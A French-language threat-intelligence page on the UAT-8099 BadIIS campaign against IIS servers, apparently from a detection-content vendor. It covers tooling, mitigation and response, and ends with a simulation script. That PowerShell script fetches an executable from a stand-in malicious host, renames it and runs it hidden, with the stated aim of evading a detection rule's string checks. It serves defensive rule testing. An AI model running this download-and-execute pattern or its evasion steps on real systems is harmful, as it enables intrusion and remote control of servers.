SOC Prime Bias: Critique

02 Feb 2026 11:31 UTC

Dissection de UAT-8099 : Nouveaux mécanismes de persistance et focus régional

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Dissection de UAT-8099 : Nouveaux mécanismes de persistance et focus régional
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Cisco Talos rapporte une nouvelle campagne UAT-8099 ciblant des serveurs web IIS vulnérables en Asie. L’acteur déploie des variantes personnalisées de BadIIS qui incluent des identifiants régionaux et s’appuie sur des web shells, PowerShell, et l’outil de contrôle à distance GotoHTTP pour un contrôle ultérieur. La persistance s’est étendue à la création de comptes locaux cachés et à l’utilisation d’utilitaires de red teaming légitimes pour s’intégrer à l’activité administrative. La méthode se chevauche avec l’opération WEBJACK antérieure et semble se concentrer sur la fraude SEO affectant les sites en Thaïlande et au Vietnam.

Enquête

Talos a examiné la télémétrie DNS, les hachages de fichiers, et les scripts malveillants pour reconstruire la chaîne d’intrusion. Les analystes ont observé des web shells combinés à des outils tels que SoftEther VPN et EasyTier, ainsi qu’un ensemble d’utilitaires sur mesure incluant Sharp4RemoveLog, CnCrypt Protect, OpenArk64, et GotoHTTP. Deux souches de BadIIS adaptées aux régions — IISHijack et asdSearchEngine — ont été rétro-ingénierées, révélant des codes de pays intégrés en dur, un filtrage sélectif des requêtes et une configuration C2 chiffrée par XOR. Une version ELF de BadIIS avec des domaines C2 correspondants a également été identifiée sur VirusTotal.

Atténuation

Corrigez les vulnérabilités IIS exposées, renforcez l’application du pare-feu pour les applications web, et surveillez la création de comptes locaux cachés (par exemple, admin$, mysql$, et similaires). Détectez les activités PowerShell qui téléchargent ou lancent GotoHTTP et bloquez la communication sortante vers les domaines C2 connus. Utilisez des contrôles de point d’extrémité pour alerter sur l’exécution des utilitaires personnalisés identifiés et sur les modifications inattendues au sein des répertoires du serveur web.

Réponse

Si des indicateurs sont trouvés, isolez le serveur, supprimez les web shells et effacez les comptes cachés. Conservez les binaires BadIIS et les scripts associés pour une analyse judiciaire, et effectuez un examen complet du trafic réseau pour identifier l’activité C2. Restaurez à partir d’une sauvegarde connue comme étant bonne et renforcez la configuration IIS pour éviter la réinfection.

Flux d’attaque

Exécution de simulation

Prérequis : La Vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.

  • Narrative & Commandes d’attaque :
    Un attaquant a acquis un point d’appui initial sur un serveur web compromis. Ils créent un répertoire caché appelé bad_iis sous la racine web IIS et déposent un binaire de web‑shell nommé de manière personnalisée shell_xyz.exe (en évitant la chaîne littérale “web shell”). En utilisant le shell, ils exécutent ultérieurement un payload PowerShell qui télécharge le binaire GotoHTTP, le renomme en svc_update.exe, et l’exécute. Étant donné que les noms d’image sont obfusqués, les Image|contient vérifications de la règle originale sont contournées, tandis que la ligne de commande contient toujours “PowerShell”.

  • Script de test de régression : Ce script reproduit les étapes décrites et génère une télémétrie similaire à l’attaque BadIIS sans utiliser les chaînes exactes que la règle surveille.

    # Simulation de BadIIS – version obfusquée
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null
    
    # Déployer un web‑shell renommé (copie binaire d'un exe bénin connu)
    $shellSrc = "$env:SystemRootSystem32notepad.exe"
    $shellDst = Join-Path $payloadDir "shell_xyz.exe"
    Copy-Item -Path $shellSrc -Destination $shellDst -Force
    
    # Simuler le web‑shell invoquant PowerShell pour télécharger GotoHTTP
    $gotoUrl = "http://malicious.example.com/GotoHTTP.exe"
    $gotoDst = "C:WindowsTempsvc_update.exe"
    
    $psCommand = @"
    Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst';
    Start-Process -FilePath '$gotoDst' -WindowStyle Hidden;
    "@
    
    # Exécuter le payload PowerShell via le web‑shell renommé (création de processus)
    Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden
    
    Write-Output "Simulation de BadIIS exécutée."
  • Commandes de nettoyage : Supprime les artefacts plantés et restaure l’environnement.

    # Nettoyage des artefacts de la simulation BadIIS
    $webRoot = "C:inetpubwwwroot"
    $payloadDir = Join-Path $webRoot "bad_iis"
    Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue
    
    $gotoDst = "C:WindowsTempsvc_update.exe"
    Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue
    
    Write-Output "Nettoyage terminé."